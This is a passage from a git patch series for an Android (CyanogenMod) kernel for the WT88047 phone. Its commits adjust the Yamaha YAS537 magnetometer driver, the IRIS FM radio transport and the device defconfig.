set_bit(EV_ABS, input_dev->evbit); + input_set_abs_params(input_dev, ABS_X, INT_MIN, INT_MAX, 0, 0); + input_set_abs_params(input_dev, ABS_Y, INT_MIN, INT_MAX, 0, 0); + input_set_abs_params(input_dev, ABS_Z, INT_MIN, INT_MAX, 0, 0); + + input_set_drvdata(input_dev, st); + atomic_set(&st->enable, 0); + st->input_dev = input_dev; + st->poll_delay = YAS_DEFAULT_SENSOR_DELAY; + st->mag.callback.device_open = yas_device_open; + st->mag.callback.device_close = yas_device_close; + st->mag.callback.device_write = yas_device_write; + st->mag.callback.device_read = yas_device_read; + st->mag.callback.usleep = yas_usleep; + st->mag.callback.current_time = yas_current_time; + INIT_DELAYED_WORK(&st->work, yas_work_func); + mutex_init(&st->lock); + + for (i = 0; i < 3; i++) + st->compass_data[i] = 0; + + ret = input_register_device(input_dev); + if (ret) + goto error_free_device; + + st->cdev = sensors_cdev; + st->cdev.sensors_enable = yas_enable_set; + st->cdev.sensors_poll_delay = yas_poll_delay_set; + + ret = sensors_classdev_register(&i2c->dev, &st->cdev); + if (ret) { + dev_err(&i2c->dev, "class device create failed: %d\n", ret); + goto error_classdev_unregister; + } + + st->dev = st->cdev.dev; + + ret = sysfs_create_group(&st->dev->kobj, &yas_attribute_group); + if (ret) + goto error_unregister_device; + ret = yas_mag_driver_init(&st->mag); + if (ret < 0) { + ret = -EFAULT; + goto error_remove_sysfs; + } + ret = st->mag.init(); + if (ret < 0) { + ret = -EFAULT; + goto error_remove_sysfs; + } + ret = st->mag.set_position(pdata->dir); + if (ret < 0) { + ret = -EFAULT; + goto error_remove_sysfs; + } + + if (pdata->power_on) + pdata->power_on(false); + + yas_mag_ftm.name = "geomagnetic"; + yas_mag_ftm.i2c_client = st->client; + yas_mag_ftm.priv_data = st; + yas_mag_ftm.attrs = yas_mag_ftm_attrs; + register_single_dev_ftm(&yas_mag_ftm); + + printk("%s ok.", __func__); + + return 0; + +error_remove_sysfs: + sysfs_remove_group(&st->dev->kobj, &yas_attribute_group); +error_unregister_device: + sensors_classdev_unregister(&st->cdev); +error_classdev_unregister: + input_unregister_device(input_dev); +error_free_device: + if (pdata->power_on) + pdata->power_on(false); +exit_pdata_power_on: + if (pdata->exit) + pdata->exit(); +exit_kfree: + kfree(st); +error_ret: + //i2c_set_clientdata(i2c, NULL); + this_client = NULL; + return ret; +} + +static int yas_remove(struct i2c_client *i2c) +{ + struct yas_state *st = i2c_get_clientdata(i2c); + if (st != NULL) { + yas_disable(st); + st->mag.term(); + sysfs_remove_group(&st->dev->kobj, + &yas_attribute_group); + input_unregister_device(st->input_dev); + input_free_device(st->input_dev); + device_unregister(st->dev); + class_destroy(st->class); + kfree(st); + this_client = NULL; + } + return 0; +} + +#ifdef CONFIG_PM_SLEEP +static int yas_suspend(struct device *dev) +{ + struct yas533_platform_data *pdata; + pdata = pdev_data->platform_data; + if (atomic_read(&pdev_data->enable)) { + cancel_delayed_work_sync(&pdev_data->work); + pdev_data->mag.set_enable(0); + } + + if (pdata->power_on) + pdata->power_on(false); + + return 0; +} + +static int yas_resume(struct device *dev) +{ + struct yas533_platform_data *pdata; + pdata = pdev_data->platform_data; + if (atomic_read(&pdev_data->enable)) { + pdev_data->mag.set_enable(1); + schedule_delayed_work(&pdev_data->work, 0); + } + + if (pdata->power_on) + pdata->power_on(true); + + return 0; +} + +static SIMPLE_DEV_PM_OPS(yas_pm_ops, yas_suspend, yas_resume); +#define YAS_PM_OPS (&yas_pm_ops) +#else +#define YAS_PM_OPS NULL +#endif + +static const struct i2c_device_id yas_id[] = { + {YAS_MSM_NAME, 0}, + { } +}; +MODULE_DEVICE_TABLE(i2c, yas_id); + + +static struct of_device_id yas_match_table[] = { + { .compatible = "yamaha,yas533", }, + { }, +}; + +static struct i2c_driver yas_driver = { + .driver = { + .name = YAS_MSM_NAME, + .owner = THIS_MODULE, + .pm = YAS_PM_OPS, + .of_match_table = yas_match_table, + }, + .probe = yas_probe, + .remove = yas_remove, + .id_table = yas_id, +}; +static int __init yas_driver_init(void) +{ + return i2c_add_driver(&yas_driver); +} + +static void __exit yas_driver_exit(void) +{ + i2c_del_driver(&yas_driver); +} + +module_init(yas_driver_init); +module_exit(yas_driver_exit); + +MODULE_DESCRIPTION("Yamaha Magnetometer I2C driver"); +MODULE_LICENSE("GPL v2"); +MODULE_VERSION("1.6.2.1020d"); From ce886f57e09de16b29480ef26f03aa7e73efecb1 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Tue, 17 Nov 2015 22:03:14 +0700 Subject: [PATCH 043/365] input: misc: Make changes needed for YAS537 driver Change-Id: Ia66be252af995b63341f884bf2bdfe1228c98345 --- drivers/input/misc/Kconfig | 10 ++++++ drivers/input/misc/Makefile | 2 ++ drivers/input/misc/yas_cfg.h | 2 +- drivers/input/misc/yas_mag_kernel.c | 51 +++-------------------------- 4 files changed, 17 insertions(+), 48 deletions(-) diff --git a/drivers/input/misc/Kconfig b/drivers/input/misc/Kconfig index 2cfd650426ee1..67355de47548e 100644 --- a/drivers/input/misc/Kconfig +++ b/drivers/input/misc/Kconfig @@ -813,6 +813,16 @@ config SENSORS_AKM8963 To compile this driver as a module, choose M here: the module will be called akm8963. +config SENSORS_YAS537 + tristate "YAS Geomagnetic Sensor" + depends on I2C + help + Say Y here if you want to enable the YAS537 magnetic sensor + driver. + + To compile this driver as a module, choose M here: the + module will be called yas537. + config SENSORS_STK3X1X tristate "STK3X1X device driver" depends on I2C diff --git a/drivers/input/misc/Makefile b/drivers/input/misc/Makefile index e58b259500628..53663d7557c4e 100644 --- a/drivers/input/misc/Makefile +++ b/drivers/input/misc/Makefile @@ -74,6 +74,8 @@ obj-$(CONFIG_SENSORS_CAPELLA_CM36283) += cm36283.o obj-$(CONFIG_SENSORS_MPU6050) += mpu6050.o obj-$(CONFIG_SENSORS_AKM8963) += akm8963.o obj-$(CONFIG_SENSORS_AKM09911) += akm09911.o +obj-$(CONFIG_SENSORS_YAS537) += yas_mag_drv-yas537.o +obj-$(CONFIG_SENSORS_YAS537) += yas_mag_kernel.o obj-$(CONFIG_SENSORS_ST480) += st480.o obj-$(CONFIG_SENSORS_LIS3DH) += lis3dh_acc.o obj-$(CONFIG_SENSORS_AP3426) += ap3426.o diff --git a/drivers/input/misc/yas_cfg.h b/drivers/input/misc/yas_cfg.h index 95e110b574955..cdb6a0eac408c 100644 --- a/drivers/input/misc/yas_cfg.h +++ b/drivers/input/misc/yas_cfg.h @@ -81,7 +81,7 @@ *----------------------------------------------------------------------------*/ #define YAS_ACC_DRIVER (YAS_ACC_DRIVER_BMI055) -#define YAS_MAG_DRIVER (YAS_MAG_DRIVER_YAS532) +#define YAS_MAG_DRIVER (YAS_MAG_DRIVER_YAS537) #define YAS_GYRO_DRIVER (YAS_GYRO_DRIVER_BMI055) /*! Magnetic minimum calibration enable (0:Disable, 1: Enable) */ diff --git a/drivers/input/misc/yas_mag_kernel.c b/drivers/input/misc/yas_mag_kernel.c index c18e22367a5b8..819c4e7dbcd68 100644 --- a/drivers/input/misc/yas_mag_kernel.c +++ b/drivers/input/misc/yas_mag_kernel.c @@ -34,7 +34,6 @@ #include #include #include -#include #include "yas.h" @@ -49,6 +48,7 @@ #define YAS_MSM_MAX_RANGE (1200) #define YAS_MSM_RESOLUTION "1" #define YAS_MSM_SENSOR_POWER "0.40" +#define YAS_MSM_SENSOR_NAME "yas533-mag" #endif #if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 #define YAS_MSM_NAME "compass" @@ -60,6 +60,7 @@ #define YAS_MSM_MAX_RANGE (2000) #define YAS_MSM_RESOLUTION "1" #define YAS_MSM_SENSOR_POWER "0.28" +#define YAS_MSM_SENSOR_NAME "yas537-mag" #endif #define YAS533_VDD_MIN_UV 2000000 @@ -95,7 +96,7 @@ struct yas_state { }; static struct yas_state *pdev_data; static struct sensors_classdev sensors_cdev = { - .name = "yas533-mag", + .name = YAS_MSM_SENSOR_NAME, .vendor = "Yamaha", .version = 1, .handle = SENSORS_MAGNETIC_FIELD_HANDLE, @@ -633,45 +634,6 @@ static int sensor_parse_dt(struct device *dev, } /******************regulator ends***********************/ -static ssize_t yas_mag_selftest_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf) -{ - struct yas_state *st = i2c_get_clientdata(this_client); - struct yas532_self_test_result sample; - int test_result; - int32_t ret; - - mutex_lock(&st->lock); - test_result = st->mag.ext(YAS532_SELF_TEST, &sample); - - printk(KERN_ERR"%s, id = %d, xy1y2[0] = %d, xy1y2[1] = %d,xy1y2[2] = %d,dir = %d,sx = %d,sy = %d,xyz[0] = %d,xyz[1] = %d,xyz[2] = %d\n", - __func__, sample.id, sample.xy1y2[0],sample.xy1y2[1],sample.xy1y2[2],sample.dir,sample.sx,sample.sy,sample.xyz[0],sample.xyz[1],sample.xyz[2]); - - if(test_result < 0) - ret = 0; // test fail - else - ret = 1; // test success - - mutex_unlock(&st->lock); - - printk("%s over. test_result = %d, ret = %d\n", __func__, test_result, ret); - - return snprintf(buf, PAGE_SIZE, "%d\n", ret); -} - -static struct kobj_attribute test = -{ - .attr = {"test", 0444}, - .show = yas_mag_selftest_show, -}; - -static const struct attribute *yas_mag_ftm_attrs[] = -{ - &test.attr, - NULL -}; - -static struct dev_ftm yas_mag_ftm; - static int yas_probe(struct i2c_client *i2c, const struct i2c_device_id *id) { struct yas_state *st = NULL; @@ -806,12 +768,6 @@ static int yas_probe(struct i2c_client *i2c, const struct i2c_device_id *id) if (pdata->power_on) pdata->power_on(false); - yas_mag_ftm.name = "geomagnetic"; - yas_mag_ftm.i2c_client = st->client; - yas_mag_ftm.priv_data = st; - yas_mag_ftm.attrs = yas_mag_ftm_attrs; - register_single_dev_ftm(&yas_mag_ftm); - printk("%s ok.", __func__); return 0; @@ -900,6 +856,7 @@ MODULE_DEVICE_TABLE(i2c, yas_id); static struct of_device_id yas_match_table[] = { { .compatible = "yamaha,yas533", }, + { .compatible = "yamaha,yas537", }, { }, }; From ae2a40868945339ad6b00825d53d606f61312e73 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Wed, 18 Nov 2015 21:30:54 +0700 Subject: [PATCH 044/365] input: misc: yas53x: Add self test function Change-Id: I53dbe80fa7df276bf697799539001765dd8679b0 --- drivers/input/misc/yas_mag_kernel.c | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/drivers/input/misc/yas_mag_kernel.c b/drivers/input/misc/yas_mag_kernel.c index 819c4e7dbcd68..3cebdba6ac15a 100644 --- a/drivers/input/misc/yas_mag_kernel.c +++ b/drivers/input/misc/yas_mag_kernel.c @@ -309,10 +309,38 @@ static ssize_t yas_hard_offset_store(struct device *dev, return -EFAULT; return count; } + +static int yas_self_test(struct sensors_classdev *sensors_cdev) +{ + struct yas_state *st = container_of(sensors_cdev, struct yas_state, cdev); + struct yas532_self_test_result r; + int ret; + mutex_lock(&st->lock); + ret = st->mag.ext(YAS532_SELF_TEST, &r); + mutex_unlock(&st->lock); + + if (ret < 0) + dev_err(&st->client->dev, "Self test mode failed\n"); + + return ret; +} #endif #if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 +static int yas_self_test(struct sensors_classdev *sensors_cdev) +{ + struct yas_state *st = container_of(sensors_cdev, struct yas_state, cdev); + struct yas537_self_test_result r; + int ret; + mutex_lock(&st->lock); + ret = st->mag.ext(YAS537_SELF_TEST, &r); + mutex_unlock(&st->lock); + if (ret < 0) + dev_err(&st->client->dev, "Self test mode failed\n"); + + return ret; +} static ssize_t yas_mag_average_sample_show(struct device *dev, struct device_attribute *attr, char *buf) @@ -737,6 +765,7 @@ static int yas_probe(struct i2c_client *i2c, const struct i2c_device_id *id) st->cdev = sensors_cdev; st->cdev.sensors_enable = yas_enable_set; st->cdev.sensors_poll_delay = yas_poll_delay_set; + st->cdev.sensors_self_test = yas_self_test; ret = sensors_classdev_register(&i2c->dev, &st->cdev); if (ret) { From 621d1b06597a2b94e810580fdd52006c14cad70c Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Thu, 19 Nov 2015 12:40:42 +0700 Subject: [PATCH 045/365] input: misc: yas53x: Send boot time alone with sensor events New Android CDD suggest that sensor event should synchronize with SystemClock.elapsedRealtimeNano() clock. Send boot time alone with sensor events to represent the time the event happened as many as possible and synchronize with that clock. Adapted from Bingzhe Cai patch Change-Id: I8bcb083aa7c5fbd9b660bf7f873d057d2938a416 --- drivers/input/misc/yas_mag_kernel.c | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/drivers/input/misc/yas_mag_kernel.c b/drivers/input/misc/yas_mag_kernel.c index 3cebdba6ac15a..be7c0ec4c3be9 100644 --- a/drivers/input/misc/yas_mag_kernel.c +++ b/drivers/input/misc/yas_mag_kernel.c @@ -435,10 +435,12 @@ static void yas_work_func(struct work_struct *work) int32_t poll_delay; uint32_t time_before, time_after; int ret, i; + ktime_t timestamp; if(atomic_read(&st->enable) == 0) return; + timestamp = ktime_get_boottime(); time_before = yas_current_time(); mutex_lock(&st->lock); ret = st->mag.measure(mag, 1); @@ -453,6 +455,12 @@ static void yas_work_func(struct work_struct *work) input_report_abs(st->input_dev, ABS_X, mag[0].xyz.v[0]); input_report_abs(st->input_dev, ABS_Y, mag[0].xyz.v[1]); input_report_abs(st->input_dev, ABS_Z, mag[0].xyz.v[2]); + input_event(st->input_dev, + EV_SYN, SYN_TIME_SEC, + ktime_to_timespec(timestamp).tv_sec); + input_event(st->input_dev, + EV_SYN, SYN_TIME_NSEC, + ktime_to_timespec(timestamp).tv_nsec); input_sync(st->input_dev); } time_after = yas_current_time(); From 9fe845ce8dfce80196db96aea353612f7d526161 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Tue, 17 Nov 2015 22:28:01 +0700 Subject: [PATCH 046/365] input: misc: yas53x: Add sensors max delay time Max delay is the delay between two sensor events corresponding to the lowest frequency that this sensor supports. When lower frequencies are requested through batch()/setDelay() the events will be generated at this frequency instead. It can be used by the framework or applications to estimate when the batch FIFO may be full. Adapted from Daqing Chen patch Change-Id: I1a5ba7211aaa8441f49e7f6d2ab4e56c7ff83e35 --- drivers/input/misc/yas_mag_kernel.c | 1 + 1 file changed, 1 insertion(+) diff --git a/drivers/input/misc/yas_mag_kernel.c b/drivers/input/misc/yas_mag_kernel.c index be7c0ec4c3be9..5ab1459412cee 100644 --- a/drivers/input/misc/yas_mag_kernel.c +++ b/drivers/input/misc/yas_mag_kernel.c @@ -105,6 +105,7 @@ static struct sensors_classdev sensors_cdev = { .resolution = "1", .sensor_power = "0.40", .min_delay = 10000, + .max_delay = 10000, .fifo_reserved_event_count = 0, .fifo_max_event_count = 0, .enabled = 0, From 8d45497a9578d25d43cc746966930477c3f752c3 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Tue, 17 Nov 2015 22:35:23 +0700 Subject: [PATCH 047/365] input: misc: yas53x: Change device's parent to input devices Sensor HAL takes long time to scan /dev/input to get information from input subsystem. Change the sensors sysfs hierachy to avoid the scanning to reduce sensor HAL initialization time. Adapted from Oliver Wang patch Change-Id: I456060188bd5a888360aa17c40f453e3758cd823 --- drivers/input/misc/yas_mag_kernel.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/input/misc/yas_mag_kernel.c b/drivers/input/misc/yas_mag_kernel.c index 5ab1459412cee..5766be72eaafc 100644 --- a/drivers/input/misc/yas_mag_kernel.c +++ b/drivers/input/misc/yas_mag_kernel.c @@ -776,7 +776,7 @@ static int yas_probe(struct i2c_client *i2c, const struct i2c_device_id *id) st->cdev.sensors_poll_delay = yas_poll_delay_set; st->cdev.sensors_self_test = yas_self_test; - ret = sensors_classdev_register(&i2c->dev, &st->cdev); + ret = sensors_classdev_register(&st->input_dev->dev, &st->cdev); if (ret) { dev_err(&i2c->dev, "class device create failed: %d\n", ret); goto error_classdev_unregister; From bf2b3886d41218c2b80d87213e15e93dd5911cf4 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Fri, 20 Nov 2015 22:06:03 +0700 Subject: [PATCH 048/365] input: misc: yas53x: Modify sensor properties for WT88047 Change-Id: Ie26531f5d4c2949a0c05f186e4d87b32944f6bf5 --- drivers/input/misc/yas_mag_kernel.c | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/drivers/input/misc/yas_mag_kernel.c b/drivers/input/misc/yas_mag_kernel.c index 5766be72eaafc..c8136f192a556 100644 --- a/drivers/input/misc/yas_mag_kernel.c +++ b/drivers/input/misc/yas_mag_kernel.c @@ -101,8 +101,13 @@ static struct sensors_classdev sensors_cdev = { .version = 1, .handle = SENSORS_MAGNETIC_FIELD_HANDLE, .type = SENSOR_TYPE_MAGNETIC_FIELD, +#ifdef CONFIG_MACH_WT88047 + .max_range = "2000", + .resolution = "0.3", +#else .max_range = "1200", .resolution = "1", +#endif .sensor_power = "0.40", .min_delay = 10000, .max_delay = 10000, From 1fd7cfb66a4feea649141ad1b3d0d35c70e0b297 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sat, 28 Nov 2015 23:32:23 +0700 Subject: [PATCH 049/365] wt88047: Enable f2fs support Change-Id: Ie2cd3aecb66fbb398f45fbba3abc80d2d1c40d36 --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index fe863361f8482..c2b494956b4bc 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -3374,7 +3374,13 @@ CONFIG_PSTORE_CONSOLE=y CONFIG_PSTORE_RAM=y # CONFIG_SYSV_FS is not set # CONFIG_UFS_FS is not set -# CONFIG_F2FS_FS is not set +CONFIG_F2FS_FS=y +CONFIG_F2FS_STAT_FS=y +CONFIG_F2FS_FS_XATTR=y +CONFIG_F2FS_FS_POSIX_ACL=y +CONFIG_F2FS_FS_SECURITY=y +# CONFIG_F2FS_CHECK_FS is not set +# CONFIG_F2FS_FS_ENCRYPTION is not set CONFIG_NETWORK_FILESYSTEMS=y CONFIG_NFS_FS=y CONFIG_NFS_V2=y From 5768c019d0574604b00856b8f645cee948b6de08 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 29 Nov 2015 21:22:53 +0700 Subject: [PATCH 050/365] media: radio: IRIS transport without firmware loading support Change-Id: I9f73a4f15d4f5634a3a2c97f138f5a673577b55b --- drivers/media/radio/Kconfig | 7 ++++++ drivers/media/radio/radio-iris-transport.c | 21 +++++++++++++++++- drivers/media/radio/radio-iris.c | 25 ++++++++++++++++++++++ 3 files changed, 52 insertions(+), 1 deletion(-) diff --git a/drivers/media/radio/Kconfig b/drivers/media/radio/Kconfig index e465bb9a21b71..fa1cf75444ef7 100644 --- a/drivers/media/radio/Kconfig +++ b/drivers/media/radio/Kconfig @@ -518,6 +518,13 @@ config RADIO_IRIS_TRANSPORT To compile this driver as a module, choose M here: the module will be called radio-iris-transport. +config RADIO_IRIS_TRANSPORT_NO_FIRMWARE + bool "Disable IRIS Transport firmware loading support" + depends on RADIO_IRIS_TRANSPORT + default n + ---help--- + Say Y here if you want to disable firmware loading support + config RADIO_SILABS tristate "SILABS FM" depends on I2C && VIDEO_V4L2 diff --git a/drivers/media/radio/radio-iris-transport.c b/drivers/media/radio/radio-iris-transport.c index 333ca93dd8a8c..e95ed6929e012 100644 --- a/drivers/media/radio/radio-iris-transport.c +++ b/drivers/media/radio/radio-iris-transport.c @@ -38,12 +38,17 @@ struct radio_data { struct smd_channel *fm_channel; }; struct radio_data hs; +#ifndef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE static DEFINE_MUTEX(fm_smd_enable); static int fmsmd_set; static int hcismd_fm_set_enable(const char *val, struct kernel_param *kp); module_param_call(fmsmd_set, hcismd_fm_set_enable, NULL, &fmsmd_set, 0644); -static struct work_struct *reset_worker; static void radio_hci_smd_deregister(void); +#else +int fmsmd_ready = -1; +void radio_hci_smd_deregister(void); +#endif +static struct work_struct *reset_worker; static void radio_hci_smd_destruct(struct radio_hci_dev *hdev) { @@ -199,18 +204,31 @@ static int radio_hci_smd_register_dev(struct radio_data *hsmd) return 0; } +#ifdef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE +void radio_hci_smd_deregister(void) +#else static void radio_hci_smd_deregister(void) +#endif { smd_close(hs.fm_channel); hs.fm_channel = 0; +#ifdef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE + fmsmd_ready = -1; +#else fmsmd_set = 0; +#endif } +#ifdef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE +int radio_hci_smd_init(void) +#else static int radio_hci_smd_init(void) +#endif { return radio_hci_smd_register_dev(&hs); } +#ifndef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE static void radio_hci_smd_exit(void) { radio_hci_smd_deregister(); @@ -238,6 +256,7 @@ static int hcismd_fm_set_enable(const char *val, struct kernel_param *kp) mutex_unlock(&fm_smd_enable); return ret; } +#endif MODULE_DESCRIPTION("FM SMD driver"); MODULE_AUTHOR("Ankur Nandwani "); MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/radio/radio-iris.c b/drivers/media/radio/radio-iris.c index 713c8c8703c00..628aef3561daf 100644 --- a/drivers/media/radio/radio-iris.c +++ b/drivers/media/radio/radio-iris.c @@ -38,6 +38,16 @@ #include #include +#if defined(CONFIG_RADIO_IRIS_TRANSPORT) && defined(CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE) +#define IRIS_TRANSPORT_NO_FIRMWARE +#endif + +#ifdef IRIS_TRANSPORT_NO_FIRMWARE +extern int fmsmd_ready; +extern int radio_hci_smd_init(void); +extern void radio_hci_smd_deregister(void); +#endif + static unsigned int rds_buf = 100; static int oda_agt; static int grp_mask; @@ -5145,6 +5155,9 @@ static int iris_fops_release(struct file *file) END: if (radio->fm_hdev != NULL) radio->fm_hdev->close_smd(); +#ifdef IRIS_TRANSPORT_NO_FIRMWARE + radio_hci_smd_deregister(); +#endif if (retval < 0) FMDERR("Err on disable FM %d\n", retval); @@ -5345,6 +5358,15 @@ static const struct v4l2_ioctl_ops iris_ioctl_ops = { .vidioc_g_ext_ctrls = iris_vidioc_g_ext_ctrls, }; +#ifdef IRIS_TRANSPORT_NO_FIRMWARE +static int iris_fops_open(struct file *f) { + if (fmsmd_ready < 0) { + fmsmd_ready = radio_hci_smd_init(); + } + return fmsmd_ready; +} +#endif + static const struct v4l2_file_operations iris_fops = { .owner = THIS_MODULE, .unlocked_ioctl = video_ioctl2, @@ -5352,6 +5374,9 @@ static const struct v4l2_file_operations iris_fops = { .compat_ioctl32 = v4l2_compat_ioctl32, #endif .release = iris_fops_release, +#ifdef IRIS_TRANSPORT_NO_FIRMWARE + .open = iris_fops_open, +#endif }; static struct video_device iris_viddev_template = { From 91aa24c201e9605177e58a119167aa893dd80dfb Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 29 Nov 2015 21:27:49 +0700 Subject: [PATCH 051/365] media: radio: IRIS transport now built-in Change-Id: Ifc553cacdbc1afa12e156206df788f14ae55f3bf --- drivers/media/radio/Kconfig | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/drivers/media/radio/Kconfig b/drivers/media/radio/Kconfig index fa1cf75444ef7..65483c23b19a3 100644 --- a/drivers/media/radio/Kconfig +++ b/drivers/media/radio/Kconfig @@ -506,18 +506,14 @@ config RADIO_IRIS To compile this driver as a module, choose M here: the module will be called radio-iris. - config RADIO_IRIS_TRANSPORT - tristate "Qualcomm IRIS Transport" + bool "Qualcomm IRIS Transport" depends on RADIO_IRIS default n ---help--- Say Y here if you want to use the Qualcomm FM chip (IRIS). with SMD as transport. - To compile this driver as a module, choose M here: the - module will be called radio-iris-transport. - config RADIO_IRIS_TRANSPORT_NO_FIRMWARE bool "Disable IRIS Transport firmware loading support" depends on RADIO_IRIS_TRANSPORT From bee181820ec354af9bd7febc46f5f2e08f972a91 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 29 Nov 2015 22:10:59 +0700 Subject: [PATCH 052/365] wt88047: Disable IRIS transport firmware loading support Change-Id: Iee132e207286740bf079c115c0a95ac12c485fc6 --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 1 + 1 file changed, 1 insertion(+) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index c2b494956b4bc..beddc38506147 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -2249,6 +2249,7 @@ CONFIG_RADIO_ADAPTERS=y # CONFIG_RADIO_WL128X is not set CONFIG_RADIO_IRIS=y CONFIG_RADIO_IRIS_TRANSPORT=y +CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE=y # CONFIG_RADIO_SILABS is not set # CONFIG_CYPRESS_FIRMWARE is not set From 33c549d84ab63c6a0f1bfa6e97edef9d188af4d4 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Tue, 1 Dec 2015 12:14:39 +0700 Subject: [PATCH 053/365] wt88047: Enable UID_CPUTIME and regenerate config Change-Id: If253bb316fda1602d1032e5e0c3ca0eef96557bd --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index beddc38506147..3abdac88775bd 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -1028,6 +1028,7 @@ CONFIG_BT_HIDP=y # # Bluetooth device drivers # +# CONFIG_BT_HCISMD is not set # CONFIG_BT_HCIBTUSB is not set # CONFIG_BT_HCIBTSDIO is not set # CONFIG_BT_HCIUART is not set @@ -1191,6 +1192,7 @@ CONFIG_QSEECOM=y # CONFIG_QPNP_MISC is not set # CONFIG_TI_DRV2667 is not set # CONFIG_QCOM_LIQUID_DOCK is not set +CONFIG_UID_CPUTIME=y # CONFIG_C2PORT is not set # @@ -1527,6 +1529,7 @@ CONFIG_TOUCHSCREEN_ATMEL_MXT=y # CONFIG_TOUCHSCREEN_AUO_PIXCIR is not set # CONFIG_TOUCHSCREEN_BU21013 is not set # CONFIG_TOUCHSCREEN_CY8CTMG110 is not set +# CONFIG_TOUCHSCREEN_CYPRESS_CYTTSP4 is not set # CONFIG_TOUCHSCREEN_CYTTSP_CORE is not set # CONFIG_TOUCHSCREEN_DYNAPRO is not set # CONFIG_TOUCHSCREEN_HAMPSHIRE is not set @@ -1571,6 +1574,7 @@ CONFIG_TOUCHSCREEN_GEN_VKEYS=y # CONFIG_TOUCHSCREEN_MSG2XXX is not set # CONFIG_TOUCHSCREEN_PROXIMITY_SENSOR is not set # CONFIG_INPUT_MT_WRAPPER is not set +# CONFIG_TOUCHSCREEN_IT7260_I2C is not set CONFIG_INPUT_MISC=y # CONFIG_INPUT_AD714X is not set # CONFIG_INPUT_BMA150 is not set @@ -1607,13 +1611,15 @@ CONFIG_SENSORS_MMC3416X=y # CONFIG_SENSORS_MMC3416X_ALLOW_OVERFLOW is not set CONFIG_SENSORS_AKM09911=y CONFIG_SENSORS_AKM8963=y +CONFIG_SENSORS_YAS537=y # CONFIG_SENSORS_STK3X1X is not set # CONFIG_SENSORS_CAPELLA_CM36283 is not set # CONFIG_INPUT_KIONIX_ACCEL is not set # CONFIG_SENSORS_BMA2X2 is not set # CONFIG_SENSORS_BMM050 is not set # CONFIG_SENSORS_BMG is not set -CONFIG_SENSORS_YAS537=y +# CONFIG_INPUT_LSM6DX0 is not set +# CONFIG_SENSORS_ST480 is not set # # Hardware I/O ports @@ -2210,6 +2216,7 @@ CONFIG_MSM_ISPIF=y # CONFIG_OV5648 is not set # CONFIG_MT9M114 is not set # CONFIG_OV5645 is not set +# CONFIG_OV7695 is not set # CONFIG_SP1628 is not set # CONFIG_GC0339 is not set # CONFIG_OV8825 is not set @@ -2876,6 +2883,7 @@ CONFIG_LEDS_GPIO=y # CONFIG_LEDS_QPNP_FLASH is not set # CONFIG_LEDS_QPNP_WLED is not set CONFIG_LEDS_MSM_GPIO_FLASH=y +# CONFIG_LEDS_MSM_GPIO_FLASH_CKT is not set # CONFIG_LEDS_DAC124S085 is not set # CONFIG_LEDS_PWM is not set # CONFIG_LEDS_REGULATOR is not set @@ -3087,6 +3095,13 @@ CONFIG_QCOM_TDLS=y CONFIG_WLAN_FEATURE_11W=y CONFIG_QCOM_VOWIFI_11R=y CONFIG_ENABLE_LINUX_REG=y +# CONFIG_MACH_CKT is not set +# CONFIG_MACH_CKT_MSM8939 is not set + +# +# CK Telecom board selection +# +# CONFIG_MACH_SPIRIT is not set # CONFIG_MACH_LONGCHEER is not set # CONFIG_MACH_LONGCHEER_MSM8916 is not set @@ -3162,7 +3177,6 @@ CONFIG_MSM_IOMMU_V1=y # CONFIG_MSM_IOMMU_VBIF_CHECK is not set # CONFIG_IOMMU_NON_SECURE is not set # CONFIG_IOMMU_FORCE_4K_MAPPINGS is not set -# CONFIG_MSM_IOMMU_TLBINVAL_ON_MAP is not set # CONFIG_MMU500_ACTIVE_PREFETCH_BUG_WITH_SECTION_MAPPING is not set # From f473eecc546302dfea09724241d1541e0c518ad2 Mon Sep 17 00:00:00 2001 From: Ethan Chen Date: Mon, 